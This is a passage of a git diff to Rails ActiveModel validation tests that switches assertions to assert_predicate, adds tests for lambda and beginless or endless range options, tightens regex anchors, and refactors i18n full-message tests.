+    I18n.load_path.clear
+    I18n.backend = I18n::Backend::Simple.new
+    I18n.backend.store_translations("en",
+      errors: { messages: { confirmation: "doesn't match %{attribute}" } },
+      activemodel: { attributes: { topic: { title: "Test Title" } } })
+
+    Topic.validates_confirmation_of(:title)
+
+    t = Topic.new("title" => "We should be confirmed", "title_confirmation" => "")
+    assert_predicate t, :invalid?
+    assert_equal ["doesn't match Test Title"], t.errors[:title_confirmation]
+  ensure
+    I18n.load_path.replace @old_load_path
+    I18n.backend = @old_backend
+    I18n.backend.reload!
   end
 
   test "does not override confirmation reader if present" do
@@ -107,13 +120,13 @@ def test_title_confirmation_with_case_sensitive_option_true
     Topic.validates_confirmation_of(:title, case_sensitive: true)
 
     t = Topic.new(title: "title", title_confirmation: "Title")
-    assert t.invalid?
+    assert_predicate t, :invalid?
   end
 
   def test_title_confirmation_with_case_sensitive_option_false
     Topic.validates_confirmation_of(:title, case_sensitive: false)
 
     t = Topic.new(title: "title", title_confirmation: "Title")
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 end
diff --git a/activemodel/test/cases/validations/exclusion_validation_test.rb b/activemodel/test/cases/validations/exclusion_validation_test.rb
index 06ae4fbecdea9..07654142bf1ab 100644
--- a/activemodel/test/cases/validations/exclusion_validation_test.rb
+++ b/activemodel/test/cases/validations/exclusion_validation_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "active_support/core_ext/numeric/time"
 
@@ -12,8 +14,8 @@ def teardown
   def test_validates_exclusion_of
     Topic.validates_exclusion_of(:title, in: %w( abe monkey ))
 
-    assert Topic.new("title" => "something", "content" => "abc").valid?
-    assert Topic.new("title" => "monkey", "content" => "abc").invalid?
+    assert_predicate Topic.new("title" => "something", "content" => "abc"), :valid?
+    assert_predicate Topic.new("title" => "monkey", "content" => "abc"), :invalid?
   end
 
   def test_validates_exclusion_of_with_formatted_message
@@ -22,8 +24,8 @@ def test_validates_exclusion_of_with_formatted_message
     assert Topic.new("title" => "something", "content" => "abc")
 
     t = Topic.new("title" => "monkey")
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["option monkey is restricted"], t.errors[:title]
   end
 
@@ -33,8 +35,8 @@ def test_validates_exclusion_of_with_within_option
     assert Topic.new("title" => "something", "content" => "abc")
 
     t = Topic.new("title" => "monkey")
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
   end
 
   def test_validates_exclusion_of_for_ruby_class
@@ -42,12 +44,12 @@ def test_validates_exclusion_of_for_ruby_class
 
     p = Person.new
     p.karma = "abe"
-    assert p.invalid?
+    assert_predicate p, :invalid?
 
     assert_equal ["is reserved"], p.errors[:karma]
 
     p.karma = "Lifo"
-    assert p.valid?
+    assert_predicate p, :valid?
   ensure
     Person.clear_validators!
   end
@@ -58,26 +60,57 @@ def test_validates_exclusion_of_with_lambda
     t = Topic.new
     t.title = "elephant"
     t.author_name = "sikachu"
-    assert t.invalid?
+    assert_predicate t, :invalid?
 
     t.title = "wasabi"
-    assert t.valid?
+    assert_predicate t, :valid?
+  end
+
+  def test_validates_exclusion_of_with_lambda_without_arguments
+    Topic.validates_exclusion_of :title, in: lambda { %w( monkey elephant ) }
+
+    t = Topic.new
+    t.title = "monkey"
+    assert_predicate t, :invalid?
+
+    t.title = "wasabi"
+    assert_predicate t, :valid?
   end
 
   def test_validates_exclusion_of_with_range
     Topic.validates_exclusion_of :content, in: ("a".."g")
 
-    assert Topic.new(content: "g").invalid?
-    assert Topic.new(content: "h").valid?
+    assert_predicate Topic.new(content: "g"), :invalid?
+    assert_predicate Topic.new(content: "h"), :valid?
+  end
+
+  def test_validates_exclusion_of_beginless_numeric_range
+    range_end = 1000
+    Topic.validates_exclusion_of(:raw_price, in: ..range_end)
+    assert_predicate Topic.new(title: "aaa", price: -100), :invalid?
+    assert_predicate Topic.new(title: "aaa", price: 0), :invalid?
+    assert_predicate Topic.new(title: "aaa", price: 100), :invalid?
+    assert_predicate Topic.new(title: "aaa", price: 2000), :valid?
+    assert_predicate Topic.new(title: "aaa", price: range_end), :invalid?
+  end
+
+  def test_validates_exclusion_of_endless_numeric_range
+    range_begin = 0
+    Topic.validates_exclusion_of(:raw_price, in: range_begin..)
+    assert_predicate Topic.new(title: "aaa", price: -1), :valid?
+    assert_predicate Topic.new(title: "aaa", price: -100), :valid?
+    assert_predicate Topic.new(title: "aaa", price: 100), :invalid?
+    assert_predicate Topic.new(title: "aaa", price: 2000), :invalid?
+    assert_predicate Topic.new(title: "aaa", price: range_begin), :invalid?
   end
 
   def test_validates_exclusion_of_with_time_range
     Topic.validates_exclusion_of :created_at, in: 6.days.ago..2.days.ago
 
-    assert Topic.new(created_at: 5.days.ago).invalid?
-    assert Topic.new(created_at: 3.days.ago).invalid?
-    assert Topic.new(created_at: 7.days.ago).valid?
-    assert Topic.new(created_at: 1.day.ago).valid?
+    assert_predicate Topic.new(created_at: 5.days.ago), :invalid?
+    assert_predicate Topic.new(created_at: 3.days.ago), :invalid?
+    assert_predicate Topic.new(created_at: 7.days.ago), :valid?
+    assert_predicate Topic.new(created_at: 1.day.ago), :valid?
   end
 
   def test_validates_inclusion_of_with_symbol
@@ -90,7 +123,7 @@ def p.reserved_karmas
       %w(abe)
     end
 
-    assert p.invalid?
+    assert_predicate p, :invalid?
     assert_equal ["is reserved"], p.errors[:karma]
 
     p = Person.new
@@ -100,7 +133,7 @@ def p.reserved_karmas
       %w()
     end
 
-    assert p.valid?
+    assert_predicate p, :valid?
   ensure
     Person.clear_validators!
   end
diff --git a/activemodel/test/cases/validations/format_validation_test.rb b/activemodel/test/cases/validations/format_validation_test.rb
index d7e6bf370762e..23fe8cd8c5937 100644
--- a/activemodel/test/cases/validations/format_validation_test.rb
+++ b/activemodel/test/cases/validations/format_validation_test.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 require "models/topic"
 require "models/person"
 
-class PresenceValidationTest < ActiveModel::TestCase
+class FormatValidationTest < ActiveModel::TestCase
   def teardown
     Topic.clear_validators!
   end
@@ -12,24 +14,24 @@ def test_validate_format
     Topic.validates_format_of(:title, :content, with: /\AValidation\smacros \w+!\z/, message: "is bad data")
 
     t = Topic.new("title" => "i'm incorrect", "content" => "Validation macros rule!")
-    assert t.invalid?, "Shouldn't be valid"
+    assert_predicate t, :invalid?, "Shouldn't be valid"
     assert_equal ["is bad data"], t.errors[:title]
-    assert t.errors[:content].empty?
+    assert_empty t.errors[:content]
 
     t.title = "Validation macros rule!"
 
-    assert t.valid?
-    assert t.errors[:title].empty?
+    assert_predicate t, :valid?
+    assert_empty t.errors[:title]
 
     assert_raise(ArgumentError) { Topic.validates_format_of(:title, :content) }
   end
 
   def test_validate_format_with_allow_blank
     Topic.validates_format_of(:title, with: /\AValidation\smacros \w+!\z/, allow_blank: true)
-    assert Topic.new("title" => "Shouldn't be valid").invalid?
-    assert Topic.new("title" => "").valid?
-    assert Topic.new("title" => nil).valid?
-    assert Topic.new("title" => "Validation macros rule!").valid?
+    assert_predicate Topic.new("title" => "Shouldn't be valid"), :invalid?
+    assert_predicate Topic.new("title" => ""), :valid?
+    assert_predicate Topic.new("title" => nil), :valid?
+    assert_predicate Topic.new("title" => "Validation macros rule!"), :valid?
   end
 
   # testing ticket #3142
@@ -37,33 +39,33 @@ def test_validate_format_numeric
     Topic.validates_format_of(:title, :content, with: /\A[1-9][0-9]*\z/, message: "is bad data")
 
     t = Topic.new("title" => "72x", "content" => "6789")
-    assert t.invalid?, "Shouldn't be valid"
+    assert_predicate t, :invalid?, "Shouldn't be valid"
 
     assert_equal ["is bad data"], t.errors[:title]
-    assert t.errors[:content].empty?
+    assert_empty t.errors[:content]
 
     t.title = "-11"
-    assert t.invalid?, "Shouldn't be valid"
+    assert_predicate t, :invalid?, "Shouldn't be valid"
 
     t.title = "03"
-    assert t.invalid?, "Shouldn't be valid"
+    assert_predicate t, :invalid?, "Shouldn't be valid"
 
     t.title = "z44"
-    assert t.invalid?, "Shouldn't be valid"
+    assert_predicate t, :invalid?, "Shouldn't be valid"
 
     t.title = "5v7"
-    assert t.invalid?, "Shouldn't be valid"
+    assert_predicate t, :invalid?, "Shouldn't be valid"
 
     t.title = "1"
 
-    assert t.valid?
-    assert t.errors[:title].empty?
+    assert_predicate t, :valid?
+    assert_empty t.errors[:title]
   end
 
   def test_validate_format_with_formatted_message
     Topic.validates_format_of(:title, with: /\AValid Title\z/, message: "can't be %{value}")
     t = Topic.new(title: "Invalid title")
-    assert t.invalid?
+    assert_predicate t, :invalid?
     assert_equal ["can't be Invalid title"], t.errors[:title]
   end
 
@@ -107,40 +109,62 @@ def test_validates_format_of_when_not_isnt_a_regexp_should_raise_error
   end
 
   def test_validates_format_of_with_lambda
-    Topic.validates_format_of :content, with: lambda { |topic| topic.title == "digit" ? /\A\d+\Z/ : /\A\S+\Z/ }
+    Topic.validates_format_of :content, with: lambda { |topic| topic.title == "digit" ? /\A\d+\z/ : /\A\S+\z/ }
 
     t = Topic.new
     t.title = "digit"
     t.content = "Pixies"
-    assert t.invalid?
+    assert_predicate t, :invalid?
 
     t.content = "1234"
-    assert t.valid?
+    assert_predicate t, :valid?
+  end
+
+  def test_validates_format_of_with_lambda_without_arguments
+    Topic.validates_format_of :title, with: lambda { /\A[A-Z]/ }
+
+    t = Topic.new
+    t.title = "lowercase"
+    assert_predicate t, :invalid?
+
+    t.title = "Titleized"
+    assert_predicate t, :valid?
   end
 
   def test_validates_format_of_without_lambda
-    Topic.validates_format_of :content, without: lambda { |topic| topic.title == "characters" ? /\A\d+\Z/ : /\A\S+\Z/ }
+    Topic.validates_format_of :content, without: lambda { |topic| topic.title == "characters" ? /\A\d+\z/ : /\A\S+\z/ }
 
     t = Topic.new
     t.title = "characters"
     t.content = "1234"
-    assert t.invalid?
+    assert_predicate t, :invalid?
 
     t.content = "Pixies"
-    assert t.valid?
+    assert_predicate t, :valid?
+  end
+
+  def test_validates_format_of_without_lambda_without_arguments
+    Topic.validates_format_of :title, without: lambda { /\d/ }
+
+    t = Topic.new
+    t.title = "With number 123"
+    assert_predicate t, :invalid?
+
+    t.title = "Without number"
+    assert_predicate t, :valid?
   end
 
   def test_validates_format_of_for_ruby_class
-    Person.validates_format_of :karma, with: /\A\d+\Z/
+    Person.validates_format_of :karma, with: /\A\d+\z/
 
     p = Person.new
     p.karma = "Pixies"
-    assert p.invalid?
+    assert_predicate p, :invalid?
 
     assert_equal ["is invalid"], p.errors[:karma]
 
     p.karma = "1234"
-    assert p.valid?
+    assert_predicate p, :valid?
   ensure
     Person.clear_validators!
   end
diff --git a/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb b/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
index f049ee26e8d42..d3e44945db27a 100644
--- a/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
+++ b/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 require "models/person"
diff --git a/activemodel/test/cases/validations/i18n_validation_test.rb b/activemodel/test/cases/validations/i18n_validation_test.rb
index f28cfc0ef5d62..0717e6bb6d66e 100644
--- a/activemodel/test/cases/validations/i18n_validation_test.rb
+++ b/activemodel/test/cases/validations/i18n_validation_test.rb
@@ -1,35 +1,43 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/person"
 
 class I18nValidationTest < ActiveModel::TestCase
   def setup
     Person.clear_validators!
-    @person = Person.new
+    @person = person_class.new
 
     @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
     I18n.load_path.clear
     I18n.backend = I18n::Backend::Simple.new
     I18n.backend.store_translations("en", errors: { messages: { custom: nil } })
+
+    @original_i18n_customize_full_message = ActiveModel::Error.i18n_customize_full_message
+    ActiveModel::Error.i18n_customize_full_message = true
   end
 
   def teardown
-    Person.clear_validators!
+    person_class.clear_validators!
+    self.class.send(:remove_const, :Person)
+    @person_stub = nil
     I18n.load_path.replace @old_load_path
     I18n.backend = @old_backend
     I18n.backend.reload!
+    ActiveModel::Error.i18n_customize_full_message = @original_i18n_customize_full_message
   end
 
   def test_full_message_encoding
     I18n.backend.store_translations("en", errors: {
       messages: { too_short: "猫舌" } })
-    Person.validates_length_of :title, within: 3..5
+    person_class.validates_length_of :title, within: 3..5
     @person.valid?
     assert_equal ["Title 猫舌"], @person.errors.full_messages
   end
 
   def test_errors_full_messages_translates_human_attribute_name_for_model_attributes
     @person.errors.add(:name, "not found")
-    assert_called_with(Person, :human_attribute_name, [:name, default: "Name"], returns: "Person's name") do
+    assert_called_with(person_class, :human_attribute_name, ["name", default: "Name", base: @person], returns: "Person's name") do
       assert_equal ["Person's name not found"], @person.errors.full_messages
     end
   end
@@ -40,6 +48,131 @@ def test_errors_full_messages_uses_format
     assert_equal ["Field Name empty"], @person.errors.full_messages
   end
 
+  def test_errors_full_messages_doesnt_use_attribute_format_without_config
+    ActiveModel::Error.i18n_customize_full_message = false
+
+    I18n.backend.store_translations("en", activemodel: {
+      errors: { models: { person: { attributes: { name: { format: "%{message}" } } } } } })
+
+    person = person_class.new
+    assert_equal "Name cannot be blank", person.errors.full_message(:name, "cannot be blank")
+    assert_equal "Name test cannot be blank", person.errors.full_message(:name_test, "cannot be blank")
+  end
+
+  def test_errors_full_messages_on_nested_error_uses_attribute_format
+    ActiveModel::Error.i18n_customize_full_message = true
+    I18n.backend.store_translations("en", activemodel: {
+      errors: { models: { person: { attributes: { gender: "Gender" } } } },
+      attributes: { "person/contacts": { gender: "Gender" } }
+    })
+
+    person = person_class.new
+    error = ActiveModel::Error.new(person, :gender, "can't be blank")
+    person.errors.import(error, attribute: "person[0].contacts.gender")
+    assert_equal ["Gender can't be blank"], person.errors.full_messages
+  end
+
+  def test_errors_full_messages_uses_attribute_format
+    ActiveModel::Error.i18n_customize_full_message = true
+
+    I18n.backend.store_translations("en", activemodel: {
+      errors: { models: { person: { attributes: { name: { format: "%{message}" } } } } } })
+
+    person = person_class.new
+    assert_equal "cannot be blank", person.errors.full_message(:name, "cannot be blank")
+    assert_equal "Name test cannot be blank", person.errors.full_message(:name_test, "cannot be blank")
+  end
+
+  def test_errors_full_messages_uses_model_format
+    ActiveModel::Error.i18n_customize_full_message = true
+
+    I18n.backend.store_translations("en", activemodel: {
+      errors: { models: { person: { format: "%{message}" } } } })
+
+    person = person_class.new
+    assert_equal "cannot be blank", person.errors.full_message(:name, "cannot be blank")
+    assert_equal "cannot be blank", person.errors.full_message(:name_test, "cannot be blank")
+  end
+
+  def test_errors_full_messages_uses_deeply_nested_model_attributes_format
+    ActiveModel::Error.i18n_customize_full_message = true
+
+    I18n.backend.store_translations("en", activemodel: {
+      errors: { models: { 'person/contacts/addresses': { attributes: { street: { format: "%{message}" } } } } } })
+
+    person = person_class.new
+    assert_equal "cannot be blank", person.errors.full_message(:'contacts/addresses.street', "cannot be blank")
+    assert_equal "Contacts/addresses country cannot be blank", person.errors.full_message(:'contacts/addresses.country', "cannot be blank")
+  end
+
+  def test_errors_full_messages_uses_deeply_nested_model_model_format
+    ActiveModel::Error.i18n_customize_full_message = true
+
+    I18n.backend.store_translations("en", activemodel: {
+      errors: { models: { 'person/contacts/addresses': { format: "%{message}" } } } })
+
+    person = person_class.new
+    assert_equal "cannot be blank", person.errors.full_message(:'contacts/addresses.street', "cannot be blank")
+    assert_equal "cannot be blank", person.errors.full_message(:'contacts/addresses.country', "cannot be blank")
+  end
+
+  def test_errors_full_messages_with_indexed_deeply_nested_attributes_and_attributes_format
+    ActiveModel::Error.i18n_customize_full_message = true
+
+    I18n.backend.store_translations("en", activemodel: {
+      errors: { models: { 'person/contacts/addresses': { attributes: { street: { format: "%{message}" } } } } } })
+
+    person = person_class.new
+    assert_equal "cannot be blank", person.errors.full_message(:'contacts[0]/addresses[123].street', "cannot be blank")
+    assert_equal "Contacts/addresses country cannot be blank", person.errors.full_message(:'contacts[0]/addresses[123].country', "cannot be blank")
+  end
+
+  def test_errors_full_messages_with_indexed_deeply_nested_attributes_and_model_format
+    ActiveModel::Error.i18n_customize_full_message = true
+
+    I18n.backend.store_translations("en", activemodel: {
+      errors: { models: { 'person/contacts/addresses': { format: "%{message}" } } } })
+
+    person = person_class.new
+    assert_equal "cannot be blank", person.errors.full_message(:'contacts[0]/addresses[123].street', "cannot be blank")
+    assert_equal "cannot be blank", person.errors.full_message(:'contacts[0]/addresses[123].country', "cannot be blank")
+  end
+
+  def test_errors_full_messages_with_indexed_deeply_nested_attributes_and_i18n_attribute_name
+    ActiveModel::Error.i18n_customize_full_message = true
+
+    I18n.backend.store_translations("en", activemodel: {
+      attributes: { 'person/contacts/addresses': { country: "Country" } }
+    })
+
+    person = person_class.new
+    assert_equal "Contacts/addresses street cannot be blank", person.errors.full_message(:'contacts[0]/addresses[123].street', "cannot be blank")
+    assert_equal "Country cannot be blank", person.errors.full_message(:'contacts[0]/addresses[123].country', "cannot be blank")
+  end
+
+  def test_errors_full_messages_with_indexed_deeply_nested_attributes_without_i18n_config
+    ActiveModel::Error.i18n_customize_full_message = false
+
+    I18n.backend.store_translations("en", activemodel: {
+      errors: { models: { 'person/contacts/addresses': { attributes: { street: { format: "%{message}" } } } } } })
+
+    person = person_class.new
+    assert_equal "Contacts[0]/addresses[0] street cannot be blank", person.errors.full_message(:'contacts[0]/addresses[0].street', "cannot be blank")
+    assert_equal "Contacts[0]/addresses[0] country cannot be blank", person.errors.full_message(:'contacts[0]/addresses[0].country', "cannot be blank")
+  end
+
+  def test_errors_full_messages_with_i18n_attribute_name_without_i18n_config
+    ActiveModel::Error.i18n_customize_full_message = false
+
+    I18n.backend.store_translations("en", activemodel: {
+      attributes: { 'person/contacts[0]/addresses[0]': { country: "Country" } }
+    })
+
+    person = person_class.new
+    assert_equal "Contacts[0]/addresses[0] street cannot be blank", person.errors.full_message(:'contacts[0]/addresses[0].street', "cannot be blank")
+    assert_equal "Country cannot be blank", person.errors.full_message(:'contacts[0]/addresses[0].country', "cannot be blank")
+  end
+
   # ActiveModel::Validations
 
   # A set of common cases for ActiveModel::Validations message generation that
@@ -49,168 +182,183 @@ def test_errors_full_messages_uses_format
     # [ case,                              validation_options,            generate_message_options]
     [ "given no options",                  {},                            {}],
     [ "given custom message",              { message: "custom" },         { message: "custom" }],
-    [ "given if condition",                { if:                          lambda { true } },  {}],
-    [ "given unless condition",            { unless:                      lambda { false } }, {}],
+    [ "given if condition",                { if: lambda { true } },       {}],
+    [ "given unless condition",            { unless: lambda { false } },  {}],
     [ "given option that is not reserved", { format: "jpg" },             { format: "jpg" }]
   ]
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_confirmation_of on generated message #{name}" do
-      Person.validates_confirmation_of :title, validation_options
+      person_class.validates_confirmation_of :title, validation_options
       @person.title_confirmation = "foo"
-      call = [:title_confirmation, :confirmation, generate_message_options.merge(attribute: "Title")]
-      assert_called_with(@person.errors, :generate_message, call) do
+      call = [:title_confirmation, :confirmation, @person, generate_message_options.merge(attribute: "Title")]
+      assert_called_with(ActiveModel::Error, :generate_message, call) do
         @person.valid?
+        @person.errors.messages
       end
     end
   end
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_acceptance_of on generated message #{name}" do
-      Person.validates_acceptance_of :title, validation_options.merge(allow_nil: false)
-      call = [:title, :accepted, generate_message_options]
-      assert_called_with(@person.errors, :generate_message, call) do
+      person_class.validates_acceptance_of :title, validation_options.merge(allow_nil: false)
+      call = [:title, :accepted, @person, generate_message_options]
+      assert_called_with(ActiveModel::Error, :generate_message, call) do
         @person.valid?
+        @person.errors.messages
       end
     end
   end
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_presence_of on generated message #{name}" do
-      Person.validates_presence_of :title, validation_options
-      call = [:title, :blank, generate_message_options]
-      assert_called_with(@person.errors, :generate_message, call) do
+      person_class.validates_presence_of :title, validation_options
+      call = [:title, :blank, @person, generate_message_options]
+      assert_called_with(ActiveModel::Error, :generate_message, call) do
         @person.valid?
+        @person.errors.messages
       end
     end
   end
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_length_of for :within on generated message when too short #{name}" do
-      Person.validates_length_of :title, validation_options.merge(within: 3..5)
-      call = [:title, :too_short, generate_message_options.merge(count: 3)]
-      assert_called_with(@person.errors, :generate_message, call) do
+      person_class.validates_length_of :title, validation_options.merge(within: 3..5)
+      call = [:title, :too_short, @person, generate_message_options.merge(count: 3)]
+      assert_called_with(ActiveModel::Error, :generate_message, call) do
         @person.valid?
+        @person.errors.messages
       end
     end
   end
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_length_of for :too_long generated message #{name}" do
-      Person.validates_length_of :title, validation_options.merge(within: 3..5)
+      person_class.validates_length_of :title, validation_options.merge(within: 3..5)
       @person.title = "this title is too long"
-      call = [:title, :too_long, generate_message_options.merge(count: 5)]
-      assert_called_with(@person.errors, :generate_message, call) do
+      call = [:title, :too_long, @person, generate_message_options.merge(count: 5)]
+      assert_called_with(ActiveModel::Error, :generate_message, call) do
         @person.valid?
+        @person.errors.messages
       end
     end
   end
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_length_of for :is on generated message #{name}" do
-      Person.validates_length_of :title, validation_options.merge(is: 5)
-      call = [:title, :wrong_length, generate_message_options.merge(count: 5)]
-      assert_called_with(@person.errors, :generate_message, call) do
+      person_class.validates_length_of :title, validation_options.merge(is: 5)
+      call = [:title, :wrong_length, @person, generate_message_options.merge(count: 5)]
+      assert_called_with(ActiveModel::Error, :generate_message, call) do
         @person.valid?
+        @person.errors.messages
       end
     end
   end
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_format_of on generated message #{name}" do
-      Person.validates_format_of :title, validation_options.merge(with: /\A[1-9][0-9]*\z/)
+      person_class.validates_format_of :title, validation_options.merge(with: /\A[1-9][0-9]*\z/)
       @person.title = "72x"
-      call = [:title, :invalid, generate_message_options.merge(value: "72x")]
-      assert_called_with(@person.errors, :generate_message, call) do
+      call = [:title, :invalid, @person, generate_message_options.merge(value: "72x")]
+      assert_called_with(ActiveModel::Error, :generate_message, call) do
         @person.valid?
+        @person.errors.messages
       end
     end
   end
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_inclusion_of on generated message #{name}" do
-      Person.validates_inclusion_of :title, validation_options.merge(in: %w(a b c))
+      person_class.validates_inclusion_of :title, validation_options.merge(in: %w(a b c))
       @person.title = "z"
-      call = [:title, :inclusion, generate_message_options.merge(value: "z")]
-      assert_called_with(@person.errors, :generate_message, call) do
+      call = [:title, :inclusion, @person, generate_message_options.merge(value: "z")]
+      assert_called_with(ActiveModel::Error, :generate_message, call) do
         @person.valid?
+        @person.errors.messages
       end
     end
   end
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_inclusion_of using :within on generated message #{name}" do
-      Person.validates_inclusion_of :title, validation_options.merge(within: %w(a b c))
+      person_class.validates_inclusion_of :title, validation_options.merge(within: %w(a b c))
       @person.title = "z"
-      call = [:title, :inclusion, generate_message_options.merge(value: "z")]
-      assert_called_with(@person.errors, :generate_message, call) do
+      call = [:title, :inclusion, @person, generate_message_options.merge(value: "z")]
+      assert_called_with(ActiveModel::Error, :generate_message, call) do
         @person.valid?
+        @person.errors.messages
       end
     end
   end
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_exclusion_of generated message #{name}" do
-      Person.validates_exclusion_of :title, validation_options.merge(in: %w(a b c))
+      person_class.validates_exclusion_of :title, validation_options.merge(in: %w(a b c))
       @person.title = "a"
-      call = [:title, :exclusion, generate_message_options.merge(value: "a")]
-      assert_called_with(@person.errors, :generate_message, call) do
+      call = [:title, :exclusion, @person, generate_message_options.merge(value: "a")]
+      assert_called_with(ActiveModel::Error, :generate_message, call) do
         @person.valid?
+        @person.errors.messages
       end
     end
   end
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_exclusion_of using :within generated message #{name}" do
-      Person.validates_exclusion_of :title, validation_options.merge(within: %w(a b c))
+      person_class.validates_exclusion_of :title, validation_options.merge(within: %w(a b c))
       @person.title = "a"
-      call = [:title, :exclusion, generate_message_options.merge(value: "a")]
-      assert_called_with(@person.errors, :generate_message, call) do
+      call = [:title, :exclusion, @person, generate_message_options.merge(value: "a")]
+      assert_called_with(ActiveModel::Error, :generate_message, call) do
         @person.valid?
+        @person.errors.messages
       end
     end
   end
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_numericality_of generated message #{name}" do
-      Person.validates_numericality_of :title, validation_options
+      person_class.validates_numericality_of :title, validation_options
       @person.title = "a"
-      call = [:title, :not_a_number, generate_message_options.merge(value: "a")]
-      assert_called_with(@person.errors, :generate_message, call) do
+      call = [:title, :not_a_number, @person, generate_message_options.merge(value: "a")]
+      assert_called_with(ActiveModel::Error, :generate_message, call) do
         @person.valid?
+        @person.errors.messages
       end
     end
   end
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_numericality_of for :only_integer on generated message #{name}" do
-      Person.validates_numericality_of :title, validation_options.merge(only_integer: true)
+      person_class.validates_numericality_of :title, validation_options.merge(only_integer: true)
       @person.title = "0.0"
-      call = [:title, :not_an_integer, generate_message_options.merge(value: "0.0")]
-      assert_called_with(@person.errors, :generate_message, call) do
+      call = [:title, :not_an_integer, @person, generate_message_options.merge(value: "0.0")]
+      assert_called_with(ActiveModel::Error, :generate_message, call) do
         @person.valid?
+        @person.errors.messages
       end
     end
   end
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_numericality_of for :odd on generated message #{name}" do
-      Person.validates_numericality_of :title, validation_options.merge(only_integer: true, odd: true)
+      person_class.validates_numericality_of :title, validation_options.merge(only_integer: true, odd: true)
       @person.title = 0
-      call = [:title, :odd, generate_message_options.merge(value: 0)]
-      assert_called_with(@person.errors, :generate_message, call) do
+      call = [:title, :odd, @person, generate_message_options.merge(value: 0)]
+      assert_called_with(ActiveModel::Error, :generate_message, call) do
         @person.valid?
+        @person.errors.messages
       end
     end
   end
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_numericality_of for :less_than on generated message #{name}" do
-      Person.validates_numericality_of :title, validation_options.merge(only_integer: true, less_than: 0)
+      person_class.validates_numericality_of :title, validation_options.merge(only_integer: true, less_than: 0)
       @person.title = 1
-      call = [:title, :less_than, generate_message_options.merge(value: 1, count: 0)]
-      assert_called_with(@person.errors, :generate_message, call) do
+      call = [:title, :less_than, @person, generate_message_options.merge(value: 1, count: 0)]
+      assert_called_with(ActiveModel::Error, :generate_message, call) do
         @person.valid?
+        @person.errors.messages
       end
     end
   end
@@ -251,67 +399,67 @@ def self.set_expectations_for_validation(validation, error_type, &block_that_set
   end
 
   set_expectations_for_validation "validates_confirmation_of", :confirmation do |person, options_to_merge|
-    Person.validates_confirmation_of :title, options_to_merge
+    person.class.validates_confirmation_of :title, options_to_merge
     person.title_confirmation = "foo"
   end
 
   set_expectations_for_validation "validates_acceptance_of", :accepted do |person, options_to_merge|
-    Person.validates_acceptance_of :title, options_to_merge.merge(allow_nil: false)
+    person.class.validates_acceptance_of :title, options_to_merge.merge(allow_nil: false)
   end
 
   set_expectations_for_validation "validates_presence_of", :blank do |person, options_to_merge|
-    Person.validates_presence_of :title, options_to_merge
+    person.class.validates_presence_of :title, options_to_merge
   end
 
   set_expectations_for_validation "validates_length_of", :too_short do |person, options_to_merge|
-    Person.validates_length_of :title, options_to_merge.merge(within: 3..5)
+    person.class.validates_length_of :title, options_to_merge.merge(within: 3..5)
   end
 
   set_expectations_for_validation "validates_length_of", :too_long do |person, options_to_merge|
-    Person.validates_length_of :title, options_to_merge.merge(within: 3..5)
+    person.class.validates_length_of :title, options_to_merge.merge(within: 3..5)
     person.title = "too long"
   end
 
   set_expectations_for_validation "validates_length_of", :wrong_length do |person, options_to_merge|
-    Person.validates_length_of :title, options_to_merge.merge(is: 5)
+    person.class.validates_length_of :title, options_to_merge.merge(is: 5)
   end
 
   set_expectations_for_validation "validates_format_of", :invalid do |person, options_to_merge|
-    Person.validates_format_of :title, options_to_merge.merge(with: /\A[1-9][0-9]*\z/)
+    person.class.validates_format_of :title, options_to_merge.merge(with: /\A[1-9][0-9]*\z/)
   end
 
   set_expectations_for_validation "validates_inclusion_of", :inclusion do |person, options_to_merge|
-    Person.validates_inclusion_of :title, options_to_merge.merge(in: %w(a b c))
+    person.class.validates_inclusion_of :title, options_to_merge.merge(in: %w(a b c))
   end
 
   set_expectations_for_validation "validates_exclusion_of", :exclusion do |person, options_to_merge|
-    Person.validates_exclusion_of :title, options_to_merge.merge(in: %w(a b c))
+    person.class.validates_exclusion_of :title, options_to_merge.merge(in: %w(a b c))
     person.title = "a"
   end
 
   set_expectations_for_validation "validates_numericality_of", :not_a_number do |person, options_to_merge|
-    Person.validates_numericality_of :title, options_to_merge
+    person.class.validates_numericality_of :title, options_to_merge
     person.title = "a"
   end
 
   set_expectations_for_validation "validates_numericality_of", :not_an_integer do |person, options_to_merge|
-    Person.validates_numericality_of :title, options_to_merge.merge(only_integer: true)
+    person.class.validates_numericality_of :title, options_to_merge.merge(only_integer: true)
     person.title = "1.0"
   end
 
   set_expectations_for_validation "validates_numericality_of", :odd do |person, options_to_merge|
-    Person.validates_numericality_of :title, options_to_merge.merge(only_integer: true, odd: true)
+    person.class.validates_numericality_of :title, options_to_merge.merge(only_integer: true, odd: true)
     person.title = 0
   end
 
   set_expectations_for_validation "validates_numericality_of", :less_than do |person, options_to_merge|
